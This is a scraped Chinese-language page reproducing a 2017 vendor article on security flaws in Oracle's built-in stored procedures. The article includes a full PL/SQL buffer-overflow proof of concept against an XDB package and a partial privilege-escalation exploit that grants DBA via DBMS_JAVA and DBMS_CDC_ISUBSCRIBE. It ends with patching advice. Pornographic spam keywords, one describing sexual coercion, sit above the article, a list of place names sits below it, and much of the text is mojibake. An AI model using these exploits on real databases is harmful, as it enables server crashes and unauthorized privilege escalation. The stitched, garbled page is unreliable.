欧美乱码精品一区二区三区,风流少妇又紧又爽又丰满,被债主在夫面前人妻被强,国产精品视频永久免费观看

?
內容中心
按關鍵字查找
數(shù)據(jù)庫自身安全漏洞分析之內建存儲對象的安全問題
作者:安華金和 發(fā)布時間:2017-01-13

許多數(shù)據(jù)庫系統(tǒng)都提供大量內建的存儲過程和軟件包。這些存儲過程對象為數(shù)據(jù)庫提供了額外的幫助,同時幫助管理員和開發(fā)者管理數(shù)據(jù)庫系統(tǒng)。

例如目前用戶量最廣的Oracle數(shù)據(jù)庫,默認情況下在安裝時便擁有多達30000個可以公開訪問的對象,這些對象為許多任務(包括訪問OS文件、發(fā)送HTTP請求、管理XML對象、java服務以及支持復制)提供相應的功能。這些功能都會在網(wǎng)絡上開啟對應端口,而每多開一個網(wǎng)絡端口就為數(shù)據(jù)庫安全造成多一份入侵威脅。

這些內建對象包含的漏洞覆蓋了:SQL注入、緩沖區(qū)溢出和應用程序邏輯漏洞等。Oracle的內建包中含有大量這種漏洞,我們下面就拿一個XDB上緩沖區(qū)溢出的漏洞舉例。

Declare

buff varchar2(32767);

begin

buff :=’12345678901234567890123456789’;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=’12345678901234567890123456789’;

XDB.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);

end;

同樣java也存在大量此種漏洞,并且危害比上面的XDB還嚴重

…..DBMS_JAVA.SET_OUTPUT_TO_JAVA(‘ID’,’oracle/aurora/rdbms/DbmsJava’,’SYS’,’writeOutputToFile’,’TEXT’,NULL,NULL,NULL,NULL 0,1,1,1,1,0,’ DECLARE PRAG…….

EXEC DBMS_CDC_ISUBSCRIBE……

上面這個漏洞是針對ORACLE 11.1系列 的JAVA漏洞。利用DBMS_CDC_ISUBSCRIBE 包可被 任意帳號執(zhí)行,但這個包的創(chuàng)建者是sys。如果執(zhí)行DBMS_CDC_ISUBSCRIBE 的回話是sys,就可以執(zhí)行sys權限(提權到DBA)DBMS_JAVA.SET_OUTPUT_TO_JAVA  函數(shù)可以把system.err的java重定向到一個新的會話中。于是我們故意輸入錯誤參數(shù)導致DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW 產生錯誤,并把錯誤寫入到system.err中。同時創(chuàng)建一個新SYS權限會話 。真正被執(zhí)行的語句是 EXECUTE IMMEDIATE "grant dba to user()"

我們從上面的例子中不難看出這種漏洞對于數(shù)據(jù)庫安全的危害很大。建議數(shù)據(jù)庫的使用者及時更新數(shù)據(jù)庫廠商發(fā)布的官方補丁,同時關閉不必要的對象以及對應端口。如果由于某種原因無法對數(shù)據(jù)庫進行補丁升級,建議使用帶VPATCH功能的數(shù)據(jù)庫防火墻保護數(shù)據(jù)庫安全。


?
鸡西市| 万源市| 新蔡县| 成都市| 广宁县| 博客| 新龙县| 襄城县| 龙江县| 永平县| 招远市| 曲松县| 常熟市| 思茅市| 新民市| 永新县| 桑日县| 财经| 武清区| 磐石市| 汤阴县| 咸宁市| 岳阳市| 安陆市| 安福县| 齐河县| 商城县| 十堰市| 巩义市| 张家川| 玉门市| 赫章县| 丰顺县| 长丰县| 怀柔区| 阿坝县| 北票市| 大足县| 轮台县| 滨海县| 隆回县|